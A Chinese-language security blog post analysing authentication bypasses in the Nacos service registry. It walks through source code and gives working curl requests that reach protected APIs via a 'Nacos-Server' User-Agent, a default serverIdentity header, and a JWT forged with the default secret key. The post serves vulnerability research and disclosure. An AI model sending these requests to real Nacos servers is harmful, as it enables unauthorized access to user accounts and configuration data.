前言环境准备 IDEA配置Nacos docker 远程调试认证过程分析 JWT加密密钥 其他认证方式 1. 默认不需要登录 2. UA头中包含Nacos-Server 3. 默认自定义身份识别标志 4. 账户信息 / JWT accessToken利用方式总结参考链接
这是2023年的第一篇文章,新年快乐。
最近发现Nacos官方GitHub有一个权限认证绕过的漏洞issue:
https://github.com/alibaba/nacos/issues/9830
其中提到 docker 启动 nacos 开启认证并配置NACOS_AUTH_TOKEN
时,secret.key
并未生效,依然使用默认的key。外部攻击人员可以使用这个默认的key生成nacos用户的jwt认证token,并访问OpenAPI
接口,达到权限绕过访问后台资源的目的。
在分析Nacos的认证校验过程时,发现多种默认的认证方式,默认情况下可以使用多种方式绕过权限认证。
下载 nacos 2.1.0 https://github.com/alibaba/nacos/releases/tag/2.1.0
配置IDEA启动nacos服务,详细步骤参考:https://www.ramostear.com/2022/03/run-nacos-in-idea.html
由于nacos中多个模块下的代码是由 Protobuf 在编译时自动生成的,直接运行会爆程序包不存在
的错误,有以下两种解决方法:
1、IDEA中安装Protobuf插件
2、使用maven编译项目:mvn clean compile -Dmaven.test.skip=true
按照官方文档:https://nacos.io/zh-cn/docs/auth.html
v2.1.0
为了方便,使用standalone模式启动:
docker run -d --env PREFER_HOST_MODE=hostname --env MODE=standalone --env NACOS_AUTH_ENABLE=true --env NACOS_AUTH_TOKEN=SecretKey:e472c13e-a568-47cd-bb49-c15e253f62e9 -p 9555:9555 -p 8848:8848 nacos/nacos-server:v2.1.0
进入docker,开启调试,修改启动脚本bin/docker-startup.sh
为如下:
重启docker。
v2.2.0
官方回复issue中提到该配置不生效的问题在2.2.0版本中修复。
按照上面的docker启动命令运行v2.2.0
nacos版本时,会报错启动不了。结合报错内容及文档,提示变量在base64decode时失败无法实例化类,文档中提到:自定义密钥时,推荐将配置项设置为Base64编码的字符串
。
使用如下命令启动docker
docker run -d --env PREFER_HOST_MODE=hostname --env MODE=standalone --env NACOS_AUTH_ENABLE=true --env NACOS_AUTH_TOKEN="VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=" -p 9555:9555 -p 8848:8848 nacos/nacos-server:v2.2.0
根据官方文档,使用用户名、密码认证成功后,会返回一个jwt的accessToken,后续就可以携带该accessToken请求其他需要鉴权的api。
在v2.1.0
中,用户名、密码认证成功后,会在如下方法中使用jat key加密username生成token:
com.alibaba.nacos.plugin.auth.impl.JwtTokenManager#createToken(java.lang.String)
public String createToken(String userName) {
long now = System.currentTimeMillis();
Date validity;
validity = new Date(now + nacosAuthConfig.getTokenValidityInSeconds() * 1000L);
Claims claims = Jwts.claims().setSubject(userName);
return Jwts.builder().setClaims(claims).setExpiration(validity)
.signWith(Keys.hmacShaKeyFor(nacosAuthConfig.getSecretKeyBytes()), SignatureAlgorithm.HS256).compact();
}
key需要有string到bytes的转换:
com.alibaba.nacos.plugin.auth.impl.NacosAuthConfig#getSecretKeyBytes
public byte[] getSecretKeyBytes() {
if (secretKeyBytes == null) {
try {
secretKeyBytes = Decoders.BASE64.decode(secretKey);
} catch (DecodingException e) {
secretKeyBytes = secretKey.getBytes(StandardCharsets.UTF_8);
}
}
return secretKeyBytes;
}
key保存在application.properties
:
nacos.core.auth.default.token.secret.key=${NACOS_AUTH_TOKEN:SecretKey012345678901234567890123456789012345678901234567890123456789}
从环境变量NACOS_AUTH_TOKEN
中取值,如果为空则使用默认值。
在v2.1.0
中,该过程并未生效,取到的key仍然是默认值。
v2.2.0
中的jwt加密过程:
com.alibaba.nacos.plugin.auth.impl.JwtTokenManager#createToken(java.lang.String)
public String createToken(String userName) {
Date validity = new Date(
System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(this.getTokenValidityInSeconds()));
Claims claims = Jwts.claims().setSubject(userName);
return Jwts.builder().setClaims(claims).setExpiration(validity).signWith(secretKey, SignatureAlgorithm.HS256)
.compact();
}
// secretKey
this.secretKey = Keys.hmacShaKeyFor(Decoders.BASE64.decode(encodedSecretKey));
// encodedSecretKey
String encodedSecretKey = EnvUtil.getProperty(AuthConstants.TOKEN_SECRET_KEY, AuthConstants.DEFAULT_TOKEN_SECRET_KEY);
v2.2.0
中可以正常获取配置的key。
结合官方文档,AuthFilter
中可以看到所有的认证方式。
按照官方文档配置启动,默认是不需要登录的。
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
application.properties
配置文件中默认为nacos.core.auth.enabled=false
。
所有需要鉴权的接口可以直接访问:
http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
在1.2~1.4.0版本期间,通过User-Agent中是否包含Nacos-Server来进行判断请求是否来自其他服务端。
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
}
受影响版本中,application.properties
为nacos.core.auth.enable.userAgentAuthWhite=true
UA头中包含Nacos-Server
就可以通过认证访问需要鉴权的接口:
curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "User-Agent: Nacos-Server"
从1.4.1版本开始,Nacos添加服务身份识别功能,用户可以自行配置服务端的Identity,不再使用User-Agent作为服务端请求的判断标准。
else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (StringUtils.isNotBlank(serverIdentity)) {
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
}
}
开启方式:
### 开启鉴权
nacos.core.auth.enabled=true
### 关闭使用user-agent判断服务端请求并放行鉴权的功能
nacos.core.auth.enable.userAgentAuthWhite=false
### 配置自定义身份识别的key(不可为空)和value(不可为空)
nacos.core.auth.server.identity.key=example
nacos.core.auth.server.identity.value=example
application.properties
配置中,默认server.identity
值为:
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
使用这两个默认值作为请求头就可以访问需要鉴权的接口:
curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security"
如果前面的认证方式都没有通过,后面就会进行账户 / accessToken进行验证。
IdentityContext identityContext = protocolAuthService.parseIdentity(req);
获取与identity相关的字段信息,包含的信息如下:
经过分析,username
和password
为一组凭据;accessToken
、Authorization
各为一组凭据。
username
和password
认证成功后,使用key加密username
为JWT的token;
curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&username=nacos&password=nacos"
accessToken
、Authorization
则是直接的JWT token。
加密方式在上文有说。
配置文件中JWT默认key为SecretKey012345678901234567890123456789012345678901234567890123456789
;
默认的管理员用户名为nacos
;
生成accessToken(回复nacos下载)
curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU"
使用Authorization
就需要加上"Bearer "
curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU"
官方文档只描述了如何开启鉴权,以及不开启鉴权的后果;但是默认启动却不开鉴权的。
并且按照官方文档开启鉴权后,在低版本中还有UA头通过鉴权,以及使用默认的server.identity
和JWT
两种方式均可通过鉴权。
在实际环境中,可以遇到很多使用默认server.identify
和JWT key
的环境,使得进一步能够通过api接口添加用户、导出数据源等高危敏感操作。
相关附件回复nacos下载。